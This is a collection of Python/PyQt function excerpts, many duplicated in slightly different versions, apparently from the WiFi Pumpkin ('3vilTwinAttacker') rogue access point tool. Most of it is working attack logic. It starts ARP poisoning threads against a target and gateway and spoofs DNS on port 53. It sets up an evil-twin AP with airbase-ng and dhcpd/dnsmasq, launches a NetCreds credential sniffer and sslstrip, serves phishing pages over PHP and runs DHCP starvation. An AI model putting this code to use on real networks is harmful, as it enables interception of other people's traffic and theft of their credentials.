def Start_Attack(self): if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0: QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly') else: chdir(self.owd) if (len(self.txt_target.text()) and len(self.txt_gateway.text())) and len(self.txt_mac.text()) != 0: if len(self.txt_redirect.text()) != 0: self.StatusMonitor(True,'stas_arp') Refactor.set_ip_forward(1) arp_gateway = ThARP_posion(str(self.txt_gateway.text()),str(self.txt_target.text()), get_if_hwaddr(str(self.ComboIface.currentText()))) arp_gateway.setObjectName('Arp Posion:: [gateway]') self.ThreadDirc['Arp_posion'].append(arp_gateway) arp_gateway.start() arp_target = ThARP_posion(str(self.txt_target.text()), str(self.txt_gateway.text()), str(self.txt_mac.text())) self.connect(arp_target,SIGNAL('Activated ( QString ) '), self.StopArpAttack) arp_target.setObjectName('Arp::Posion => [target]') self.ThreadDirc['Arp_posion'].append(arp_target) arp_target.start() self.conf_attack(True) redirectPackets = ThSpoofAttack('', str(self.ComboIface.currentText()),'udp port 53',True,str(self.txt_redirect.text())) self.connect(redirectPackets,SIGNAL('Activated ( QString ) '), self.StopArpAttack) redirectPackets.setObjectName('Packets Spoof') self.ThreadDirc['Arp_posion'].append(redirectPackets) redirectPackets.start()
def CoreSettings(self): range_dhcp = self.FSettings.xmlSettings('Iprange', 'range',None,False) self.PortRedirect = self.FSettings.xmlSettings('redirect', 'port',None,False) self.SettingsAP = { 'interface': [ 'ifconfig %s up'%(self.Ap_iface), 'ifconfig %s 10.0.0.1 netmask 255.255.255.0'%(self.Ap_iface), 'ifconfig %s mtu 1400'%(self.Ap_iface), 'route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1' ], 'kill': [ 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', 'killall dhpcd', 'killall dnsmasq' ], 'dhcp-server': [ 'authoritative;\n', 'default-lease-time 600;\n', 'max-lease-time 7200;\n', 'subnet 10.0.0.0 netmask 255.255.255.0 {\n', 'option routers 10.0.0.1;\n', 'option subnet-mask 255.255.255.0;\n', 'option domain-name \"%s\";\n'%(str(self.EditApName.text())), 'option domain-name-servers 10.0.0.1;\n', 'range %s;\n'% range_dhcp, '}', ], 'dnsmasq': [ 'interface=%s\n'%(self.Ap_iface), 'dhcp-range=10.0.0.10,10.0.0.50,12h\n', 'dhcp-option=3, 10.0.0.1\n', 'dhcp-option=6, 10.0.0.1\n', 'no-hosts\n' 'addn-hosts='+ getcwd() + '/Settings/dnsmasq.hosts\n' ] } Refactor.set_ip_forward(1) for i in self.SettingsAP['interface']:popen(i) for i in self.SettingsAP['kill']:popen(i) dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select != 'dnsmasq': with open('Settings/dhcpd.conf','w') as dhcp: for i in self.SettingsAP['dhcp-server']:dhcp.write(i) dhcp.close() if path.isfile('/etc/dhcp/dhcpd.conf'): system('rm /etc/dhcp/dhcpd.conf') move('Settings/dhcpd.conf', '/etc/dhcp/') else: with open('Settings/dnsmasq.conf','w') as dhcp: for i in self.SettingsAP['dnsmasq']: dhcp.write(i) dhcp.close()
def kill(self): if self.Apthreads['RougeAP'] == []:return for i in self.Apthreads['RougeAP']:i.stop() for kill in self.SettingsAP['kill']:popen(kill) set_monitor_mode(self.interface).setDisable() self.Started(False) Refactor.set_ip_forward(0) self.ListLoggerDhcp.clear()
def CoreSettings(self): range_dhcp = self.FSettings.xmlSettings('Iprange', 'range', None, False) self.PortRedirect = self.FSettings.xmlSettings('redirect', 'port', None, False) self.SettingsAP = { 'interface': [ 'ifconfig %s up' % (self.Ap_iface), 'ifconfig %s 10.0.0.1 netmask 255.255.255.0' % (self.Ap_iface), 'ifconfig %s mtu 1400' % (self.Ap_iface), 'route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1' ], 'kill': [ 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', 'killall dhpcd', 'killall dnsmasq' ], 'dhcp-server': [ 'authoritative;\n', 'default-lease-time 600;\n', 'max-lease-time 7200;\n', 'subnet 10.0.0.0 netmask 255.255.255.0 {\n', 'option routers 10.0.0.1;\n', 'option subnet-mask 255.255.255.0;\n', 'option domain-name \"%s\";\n' % (str(self.EditApName.text())), 'option domain-name-servers 10.0.0.1;\n', 'range %s;\n' % range_dhcp, '}', ], 'dnsmasq': [ 'interface=%s\n' % (self.Ap_iface), 'dhcp-range=10.0.0.10,10.0.0.50,12h\n', 'dhcp-option=3, 10.0.0.1\n', 'dhcp-option=6, 10.0.0.1\n', 'no-hosts\n' 'addn-hosts=' + getcwd() + '/Settings/dnsmasq.hosts\n' ] } Refactor.set_ip_forward(1) for i in self.SettingsAP['interface']: popen(i) for i in self.SettingsAP['kill']: popen(i) dhcp_select = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if dhcp_select != 'dnsmasq': with open('Settings/dhcpd.conf', 'w') as dhcp: for i in self.SettingsAP['dhcp-server']: dhcp.write(i) dhcp.close() if path.isfile('/etc/dhcp/dhcpd.conf'): system('rm /etc/dhcp/dhcpd.conf') move('Settings/dhcpd.conf', '/etc/dhcp/') else: with open('Settings/dnsmasq.conf', 'w') as dhcp: for i in self.SettingsAP['dnsmasq']: dhcp.write(i) dhcp.close()
def discoveryIface(self): iface = str(self.ComboIface.currentText()) mac = Refactor.getHwAddr(iface) ip = Refactor.get_Ipaddr(iface) if self.configure.xmlSettings('statusAP', 'value', None, False) == 'True': self.txt_gateway.setText('10.0.0.1') self.txt_mac.setText(mac) self.txt_redirect.setText(ip)
def kill(self): if self.Apthreads['RougeAP'] == []: return for i in self.Apthreads['RougeAP']: i.stop() for kill in self.SettingsAP['kill']: popen(kill) set_monitor_mode(self.interface).setDisable() self.Started(False) Refactor.set_ip_forward(0) self.ListLoggerDhcp.clear()
def kill_attack(self): try: for i in self.ThreadDirc['Arp_posion']:i.stop() self.Ftemplates.killThread() except:pass chdir(self.owd) self.StatusMonitor(False,'stas_arp') self.StatusMonitor(False,'stas_phishing') self.conf_attack(False) Refactor.set_ip_forward(0)
def GetDHCPRequests(self, data): if len(data) == 8: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): self.APclients[data[4]] = { 'IP': data[2], 'device': data[5], 'in_tables': False, } print self.APclients elif len(data) == 9: if Refactor.check_is_mac(data[5]): if data[5] not in self.APclients.keys(): self.APclients[data[5]] = { 'IP': data[2], 'device': data[6], 'in_tables': False, } print self.APclients elif len(data) == 7: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): leases = IscDhcpLeases('Settings/dhcp/dhcpd.leases') hostname = None try: for item in leases.get(): if item.ethernet == data[4]: hostname = item.hostname if hostname == None: item = leases.get_current() hostname = item[data[4]] except: hostname = 'unknown' if hotname == None: hostname = 'unknown' self.APclients[data[4]] = { 'IP': data[2], 'device': hostname, 'in_tables': False, } print self.APclients Headers = [] for mac in self.APclients.keys(): if self.APclients[mac]['in_tables'] == False: self.APclients[mac]['in_tables'] = True self.THeaders['mac-address'].append(mac) self.THeaders['ip-address'].append(self.APclients[mac]['IP']) self.THeaders['device'].append(self.APclients[mac]['device']) for n, key in enumerate(self.THeaders.keys()): Headers.append(key) for m, item in enumerate(self.THeaders[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.TabInfoAP.setItem(m, n, item) self.TabInfoAP.setHorizontalHeaderLabels(self.THeaders.keys()) self.connectedCount.setText(str(len(self.APclients.keys())))
def kill_attack(self): try: for i in self.ThreadDirc['Arp_posion']: i.stop() self.Ftemplates.killThread() except: pass chdir(self.owd) self.StatusMonitor(False, 'stas_arp') self.StatusMonitor(False, 'stas_phishing') self.conf_attack(False) Refactor.set_ip_forward(0)
def Start_Attack(self): if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0: QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly') else: chdir(self.owd) if (len(self.txt_target.text()) and len(self.txt_gateway.text()) ) and len(self.txt_mac.text()) != 0: if len(self.txt_redirect.text()) != 0: self.StatusMonitor(True, 'stas_arp') if self.configure.xmlSettings('statusAP', 'value', None, False) == 'False': Refactor.set_ip_forward(1) arp_gateway = ThARP_posion( str(self.txt_gateway.text()), str(self.txt_target.text()), get_if_hwaddr(str(self.ComboIface.currentText()))) arp_gateway.setObjectName('Arp Posion:: [gateway]') self.ThreadDirc['Arp_posion'].append(arp_gateway) arp_gateway.start() arp_target = ThARP_posion(str(self.txt_target.text()), str(self.txt_gateway.text()), str(self.txt_mac.text())) self.connect(arp_target, SIGNAL('Activated ( QString ) '), self.StopArpAttack) arp_target.setObjectName('Arp::Posion => [target]') self.ThreadDirc['Arp_posion'].append(arp_target) arp_target.start() redirectPackets = ThSpoofAttack( '', str(self.ComboIface.currentText()), 'udp port 53', True, str(self.txt_redirect.text())) self.connect(redirectPackets, SIGNAL('Activated ( QString ) '), self.StopArpAttack) if self.configure.xmlSettings('statusAP', 'value', None, False) == 'False': redirectPackets.redirection() else: redirectPackets.redirectionAP() redirectPackets.setObjectName('Packets Spoof') self.ThreadDirc['Arp_posion'].append(redirectPackets) redirectPackets.start() return QMessageBox.information(self, 'Error Redirect IP', 'Redirect IP not found')
def SettingsScan(self): self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') else: self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False) if self.time_scan.currentText() == "10s":count = 10 elif self.time_scan.currentText() == "20s":count = 20 elif self.time_scan.currentText() == "30s":count = 30 if self.interface != None: if self.options_scan == "scan_scapy": self.scapy_scan_AP(self.interface,count) for i in self.ApsCaptured.keys(): if Refactor.check_is_mac(i): self.data['Channel'].append(self.ApsCaptured[i][0]) self.data['Essid'].append(self.ApsCaptured[i][1]) self.data['Bssid'].append(i) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item) else: self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) self.thread_airodump.daemon = True self.thread_airodump.start()
def SettingsScan(self): self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') else: self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False) if self.time_scan.currentText() == "10s":count = 10 elif self.time_scan.currentText() == "20s":count = 20 elif self.time_scan.currentText() == "30s":count = 30 if self.interface != None: if self.options_scan == "scan_scapy": self.scapy_scan_AP(self.interface,count) for i in self.ApsCaptured.keys(): if Refactor.check_is_mac(i): self.data['Channel'].append(self.ApsCaptured[i][0]) self.data['Essid'].append(self.ApsCaptured[i][1]) self.data['Bssid'].append(i) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item) else: if path.isfile(popen('which airodump-ng').read().split("\n")[0]): self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) self.thread_airodump.daemon = True self.thread_airodump.start() else: QMessageBox.information(self,'Error airodump','airodump-ng not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def setupGUI(self): self.form0 = QFormLayout() self.list_probe = QListWidget() self.list_probe.setFixedHeight(300) self.btn_scan = QPushButton("Scan") self.btn_scan.clicked.connect(self.Pro_request) self.btn_scan.setIcon(QIcon("rsc/network.png")) self.get_placa = QComboBox(self) n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i]) self.time_scan = QComboBox(self) self.time_scan.addItems(["10s","20s","30s"]) self.form0.addRow("Network Adapter: ", self.get_placa) self.form0.addRow(self.list_probe) self.form0.addRow("Time Scan: ", self.time_scan) self.form1 = QFormLayout() self.form1.addRow(self.btn_scan) self.Main.addLayout(self.form0) self.Main.addLayout(self.form1) self.setLayout(self.Main)
def exportHTML(self): contents = Refactor.exportHtml() filename = QFileDialog.getSaveFileNameAndFilter(self, "Save File Logger HTML", "report.html", "HTML (*.html)") if len(filename) != 0: with open(str(filename[0]), "w") as filehtml: filehtml.write(contents), filehtml.close() QMessageBox.information(self, "3vilTwinAttacker", "file has been saved with success.")
def scan_diveces_airodump(self): dirpath = "Settings/Dump" if not path.isdir(dirpath): makedirs(dirpath) self.data = {'Bssid': [], 'Essid': [], 'Channel': []} exit_air = airdump_start(self.interface) self.fix = False if exit_air == None: self.cap = get_network_scan() if self.cap != None: for i in self.cap: i = i.split("||") if Refactor.check_is_mac(i[2]): Headers = [] self.data['Channel'].append(i[0]) self.data['Essid'].append(i[1]) self.data['Bssid'].append(i[2]) for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item) self.cap = []
def refrash_interface(self): self.ComboIface.clear() n = Refactor.get_interfaces()["all"] for i, j in enumerate(n): if search("at", j) or search("wlan", j): self.ComboIface.addItem(n[i]) self.discoveryIface()
def mConfigure(self): self.get_interfaces = Refactor.get_interfaces() try: self.EditGateway.setText([ self.get_interfaces[x] for x in self.get_interfaces.keys() if x == 'gateway' ][0]) except: pass self.EditApName.setText( self.FSettings.xmlSettings('AP', 'name', None, False)) self.EditChannel.setText( self.FSettings.xmlSettings('channel', 'mchannel', None, False)) self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text() for i, j in enumerate(self.get_interfaces['all']): if search('wlan', j): self.selectCard.addItem(self.get_interfaces['all'][i]) driftnet = popen('which driftnet').read().split('\n') ettercap = popen('which ettercap').read().split('\n') dhcpd = popen('which dhcpd').read().split("\n") dnsmasq = popen('which dnsmasq').read().split("\n") hostapd = popen('which hostapd').read().split("\n") lista = [ '/usr/sbin/airbase-ng', ettercap[0], driftnet[0], dhcpd[0], dnsmasq[0], hostapd[0] ] for i in lista: self.ConfigTwin['ProgCheck'].append(path.isfile(i))
def refrash_interface(self): self.ComboIface.clear() n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search('at', j) or search('wlan', j): self.ComboIface.addItem(n[i]) self.discoveryIface()
def action_btn_random(self): mac = Refactor.randomMacAddress([ random.choice(self.prefix), random.choice(self.prefix), random.choice(self.prefix) ]) self.i_mac.setText(mac)
def exportHTML(self): contents = Refactor.exportHtml() filename = QFileDialog.getSaveFileNameAndFilter( self, 'Save File Logger HTML', 'report.html', 'HTML (*.html)') if len(filename) != 0: with open(str(filename[0]), 'w') as filehtml: filehtml.write(contents), filehtml.close()
def exportHTML(self): contents = Refactor.exportHtml() filename = QFileDialog.getSaveFileNameAndFilter(self, "Save File Logger HTML","report.html","HTML (*.html)") if len(filename) != 0: with open(str(filename[0]),'w') as filehtml: filehtml.write(contents),filehtml.close()
def kill(self): if self.Apthreads['RougeAP'] == []:return for i in self.Apthreads['RougeAP']:i.stop() terminate = [ 'killall dhcpd', 'killall dnsmasq' 'killall xterm', 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain'] for delete in terminate:popen(delete) set_monitor_mode(self.interface).setDisable() self.Started(False) Refactor.set_ip_forward(0) self.ListLoggerDhcp.clear()
def refrash_interface(self): self.ComboIface.clear() n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search('at',j) or search('wlan',j): self.ComboIface.addItem(n[i]) self.discoveryIface()
def setupGUI(self): self.form0 = QFormLayout() self.list_probe = QListWidget() self.list_probe.setFixedHeight(300) self.btn_scan = QPushButton("Scan") self.btn_scan.clicked.connect(self.Pro_request) self.btn_scan.setIcon(QIcon("rsc/network.png")) self.get_placa = QComboBox(self) n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i]) self.time_scan = QComboBox(self) self.time_scan.addItems(["10s", "20s", "30s"]) self.form0.addRow("Network Adapter: ", self.get_placa) self.form0.addRow(self.list_probe) self.form0.addRow("Time Scan: ", self.time_scan) self.form1 = QFormLayout() self.form1.addRow(self.btn_scan) self.Main.addLayout(self.form0) self.Main.addLayout(self.form1) self.setLayout(self.Main)
def exportHTML(self): contents = Refactor.exportHtml() filename = QFileDialog.getSaveFileNameAndFilter(self, 'Save File Logger HTML','report.html','HTML (*.html)') if len(filename) != 0: with open(str(filename[0]),'w') as filehtml: filehtml.write(contents),filehtml.close() QMessageBox.information(self, 'WiFi Pumpkin', 'file has been saved with success.')
def Start_Attack(self): if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0: QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly') else: chdir(self.owd) if (len(self.txt_target.text()) and len(self.txt_gateway.text())) and len(self.txt_mac.text()) != 0: if len(self.txt_redirect.text()) != 0: self.StatusMonitor(True,'stas_arp') Refactor.set_ip_forward(1) self.conf_attack(True) thr = ThreadAttackPosion(str(self.txt_target.text()), str(self.txt_gateway.text()), str(self.txt_mac.text())) self.connect(thr,SIGNAL('Activated ( QString ) '), self.StopArpAttack) thr.setObjectName('Arp Posion') self.ThreadDirc['Arp_posion'].append(thr) thr.start()
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: QMessageBox.information(self,'Error permission', 'Run as root ') return if len(self.selectCard.currentText()) == 0: QMessageBox.information(self,'Error', 'Network interface not supported :(') return self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.config.xmlSettings('interface', 'monitor_mode',self.interface,False) # airbase thread thr_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/'+asctime(),self.interface]) thr_airbase.name = 'Airbase-ng' self.thread.append(thr_airbase) thr_airbase.start() # settings conf while True: if thr_airbase.iface != None: self.Ap_iface = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.config.xmlSettings('netcreds', 'interface',self.Ap_iface,False) break # thread netcreds ThNetCreds = ProcessThread(['python','Plugins/NetCreds.py','-i', self.config.xmlSettings('netcreds', 'interface',None,False)]) ThNetCreds.setName('Net-Creds') self.thread.append(ThNetCreds) ThNetCreds.start() p = Process(target=self.CoreSettings,args=()) p.start(),p.join() # thread dhcp if self.config.xmlSettings('dhcp','dhcp_server',None,False) != 'dnsmasq': Thdhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-cf','/etc/dhcp/dhcpd.conf',self.Ap_iface]) self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) else: Thdhcp = ThRunDhcp(['dnsmasq','-C','Settings/dnsmasq.conf','-d']) self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) # thread sslstrip Thsslstrip = Threadsslstrip(self.PortRedirect) Thsslstrip.setObjectName("Sslstrip") self.thread.append(Thsslstrip) Thsslstrip.start()
def list_clicked(self, index): itms = self.list.selectedIndexes() for i in itms: attack = str(i.data().toString()).split() for i in attack: if Refactor.check_is_mac(i.replace(" ", "")): self.linetarget.setText(str(i)) if self.linetarget.text() == "": QMessageBox.information(self, "MacAddress", "Error check the Mac Target, please set the mac valid.")
def closeEvent(self, event): reply = QMessageBox.question(self, 'About Exit', 'Are you sure to close ArpPosion?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: event.accept() if (len(self.ThreadDirc['Arp_posion']) != 0): try: for i in self.ThreadDirc['Arp_posion']: i.stop(), i.join() except: pass if self.configure.xmlSettings('statusAP', 'value', None, False) == 'False': Refactor.set_ip_forward(0) self.deleteLater() return event.ignore()
def GetDHCPRequests(self,data): if len(data) == 8: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): self.APclients[data[4]] = {'IP': data[2],'device': data[5],'in_tables': False,} print self.APclients elif len(data) == 9: if Refactor.check_is_mac(data[5]): if data[5] not in self.APclients.keys(): self.APclients[data[5]] = {'IP': data[2],'device': data[6],'in_tables': False,} print self.APclients elif len(data) == 7: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): leases = IscDhcpLeases('Settings/dhcp/dhcpd.leases') hostname = None try: for item in leases.get(): if item.ethernet == data[4]: hostname = item.hostname if hostname == None: item = leases.get_current() hostname = item[data[4]] except: hostname = 'unknown' if hotname == None:hostname = 'unknown' self.APclients[data[4]] = {'IP': data[2],'device': hostname,'in_tables': False,} print self.APclients Headers = [] for mac in self.APclients.keys(): if self.APclients[mac]['in_tables'] == False: self.APclients[mac]['in_tables'] = True self.THeaders['mac-address'].append(mac) self.THeaders['ip-address'].append(self.APclients[mac]['IP']) self.THeaders['device'].append(self.APclients[mac]['device']) for n, key in enumerate(self.THeaders.keys()): Headers.append(key) for m, item in enumerate(self.THeaders[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.TabInfoAP.setItem(m, n, item) self.TabInfoAP.setHorizontalHeaderLabels(self.THeaders.keys()) self.connectedCount.setText(str(len(self.APclients.keys())))
def kill(self): if self.Apthreads['RougeAP'] == []:return self.FSettings.xmlSettings('statusAP','value','False',False) for i in self.Apthreads['RougeAP']:i.stop() for kill in self.SettingsAP['kill']:popen(kill) set_monitor_mode(self.ConfigTwin['interface']).setDisable() self.Started(False) self.Apthreads['RougeAP'] = [] self.APclients = {} with open('Settings/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() try: self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False) except AttributeError as e: print e
def list_clicked(self, index): itms = self.list.selectedIndexes() for i in itms: attack = str(i.data().toString()).split() for i in attack: if Refactor.check_is_mac(i.replace(' ', '')): self.linetarget.setText(str(i)) if self.linetarget.text() == '': QMessageBox.information(self, 'MacAddress', 'Error check the Mac Target, please set the mac valid.')
def D_attack(self): interface = Refactor.get_interfaces()['activated'] if interface != None: self.check.setText("[ ON ]") self.check.setStyleSheet("QLabel { color : green; }") self.threadstar = ThreadAttackStar(interface) self.connect(self.threadstar,SIGNAL("Activated ( QString )"),self.getloggerAttack) self.threadstar.setObjectName("DHCP Starvation") self.threadstar.start() return QMessageBox.information(self, 'Interface Not found', 'None detected network interface try again.')
def D_attack(self): interface = Refactor.get_interfaces()['activated'] if interface != None: self.check.setText("[ ON ]") self.check.setStyleSheet("QLabel { color : green; }") self.threadstar = ThreadAttackStar(interface) self.connect(self.threadstar,SIGNAL("Activated ( QString )"),self.getloggerAttack) self.threadstar.setObjectName("DHCP Starvation") self.threadstar.start() else: QMessageBox.information(self, "Interface Not found", 'None detected network interface try again.')
def Start_Attack(self): if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0: QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly') else: chdir(self.owd) if (len(self.txt_target.text()) and len(self.txt_gateway.text()) ) and len(self.txt_mac.text()) != 0: if len(self.txt_redirect.text()) != 0: self.StatusMonitor(True, 'stas_arp') Refactor.set_ip_forward(1) self.conf_attack(True) thr = ThreadAttackPosion(str(self.txt_target.text()), str(self.txt_gateway.text()), str(self.txt_mac.text())) self.connect(thr, SIGNAL('Activated ( QString ) '), self.StopArpAttack) thr.setObjectName('Arp Posion') self.ThreadDirc['Arp_posion'].append(thr) thr.start()
def SettingsScan(self): self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') else: if not search(self.interface,check_output('ifconfig')): self.interface = self.set_monitor_mode(self.get_placa.currentText(),True) self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False) if self.time_scan.currentText() == "10s":count = 10 elif self.time_scan.currentText() == "20s":count = 20 elif self.time_scan.currentText() == "30s":count = 30 if self.interface != None: if self.options_scan == "scan_scapy": sniff(iface=self.interface, prn =self.Scanner_devices, timeout=count) t = len(self.ap_list) -1 items,cap = [],[] for i in range(t): if len(self.ap_list[i]) < len(self.ap_list[i+1]): if i != 0: for index in xrange(self.list.count()): items.append(self.list.item(index)) if self.ap_list[i] or self.ap_list[i+1] in items:pass else: if not (self.ap_list[i] + " " + self.ap_list[i+1]) in cap: cap.append(self.ap_list[i] + " " + self.ap_list[i+1]) else: if not (self.ap_list[i] + " " + self.ap_list[i+1]) in cap: cap.append(self.ap_list[i] + " " + self.ap_list[i+1]) else: if not (self.ap_list[i+1] + " " + self.ap_list[i]) in cap: cap.append(self.ap_list[i+1] + " " + self.ap_list[i]) if self.ap_list[i] < i: pass break for i in cap: dat = i.split() if Refactor.check_is_mac(dat[3]): self.data['Channel'].append(dat[0]) self.data['Essid'].append(dat[2]) self.data['Bssid'].append(dat[3]) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item) self.ap_list = [] else: self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) self.thread_airodump.daemon = True self.thread_airodump.start()
def threadServer(self, directory): ip = Refactor.get_ip_local(self.cb_interface.currentText()) try: chdir(directory) except OSError: pass global threadloading self.thphp = mThreadServer(("php -S %s:80" % (ip)).split()) self.connect(self.thphp, SIGNAL("Activated ( QString ) "), self.logPhising) threadloading["server"].append(self.thphp) self.thphp.setObjectName("Server-PHP") self.thphp.start() self.status.showMessage("::Started >> [HTTP::" + ip + " ::Port 80]")
def threadServer(self, directory): ip = Refactor.get_ip_local(self.cb_interface.currentText()) try: chdir(directory) except OSError: pass global threadloading self.thphp = mThreadServer(("php -S %s:80" % (ip)).split()) self.connect(self.thphp, SIGNAL("Activated ( QString ) "), self.logPhising) threadloading['server'].append(self.thphp) self.thphp.setObjectName("Server-PHP") self.thphp.start() self.status.showMessage("::Started >> [HTTP::" + ip + " ::Port 80]")
def monitorThreadScan(self,apData): apData = list(apData.split('|')) if not str(apData[0]) in self.ApsCaptured.keys(): self.ApsCaptured[str(apData[0])] = apData if Refactor.check_is_mac(str(apData[0])): self.data['Channel'].append(self.ApsCaptured[str(apData[0])][1]) self.data['Essid'].append(self.ApsCaptured[str(apData[0])][2]) self.data['Bssid'].append(str(apData[0])) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item)
def __init__(self, parent=None): super(frm_Arp_Poison, self).__init__(parent) self.setWindowTitle('Arp Posion Attack ') self.setWindowIcon(QIcon('rsc/icon.ico')) self.Main = QVBoxLayout() self.owd = getcwd() self.control = False self.interfaces = Refactor.get_interfaces() self.configure = frm_Settings() self.module_network = Refactor self.loadtheme(self.configure.XmlThemeSelected()) self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} self.ThreadDirc = {'Arp_posion':[]} global threadloading self.GUI()
def __init__(self, parent=None): super(frm_Arp_Poison, self).__init__(parent) self.setWindowTitle('Arp Posion Attack ') self.setWindowIcon(QIcon('rsc/icon.ico')) self.Main = QVBoxLayout() self.owd = getcwd() self.control = False self.interfaces = Refactor.get_interfaces() self.configure = frm_Settings() self.loadtheme(self.configure.XmlThemeSelected()) self.module_network = Refactor self.data = {'IPaddress': [], 'Hostname': [], 'MacAddress': []} self.ThreadDirc = {'Arp_posion': []} global threadloading self.GUI()
def ConfigureEdits(self): x = self.interfaces self.StatusMonitor(False,'stas_scan') self.StatusMonitor(False,'stas_arp') self.StatusMonitor(False,'stas_phishing') scan_range = self.configure.xmlSettings('scan','rangeIP',None,False) self.ip_range.setText(scan_range) if x['gateway'] != None: self.txt_gateway.setText(x['gateway']) self.txt_redirect.setText(x['IPaddress']) self.txt_mac.setText(Refactor.getHwAddr(x['activated'])) self.connect(self.ComboIface, SIGNAL("currentIndexChanged(QString)"), self.discoveryIface) n = self.interfaces['all'] for i,j in enumerate(n): if n[i] != '': self.ComboIface.addItem(n[i])
def ConfigureEdits(self): x = self.interfaces self.StatusMonitor(False, 'stas_scan') self.StatusMonitor(False, 'stas_arp') self.StatusMonitor(False, 'stas_phishing') scan_range = self.configure.xmlSettings('scan', 'rangeIP', None, False) self.ip_range.setText(scan_range) if x['gateway'] != None: self.txt_gateway.setText(x['gateway']) self.txt_redirect.setText(x['IPaddress']) self.txt_mac.setText(Refactor.getHwAddr(x['activated'])) self.connect(self.ComboIface, SIGNAL("currentIndexChanged(QString)"), self.discoveryIface) n = self.interfaces['all'] for i, j in enumerate(n): if n[i] != '': self.ComboIface.addItem(n[i])
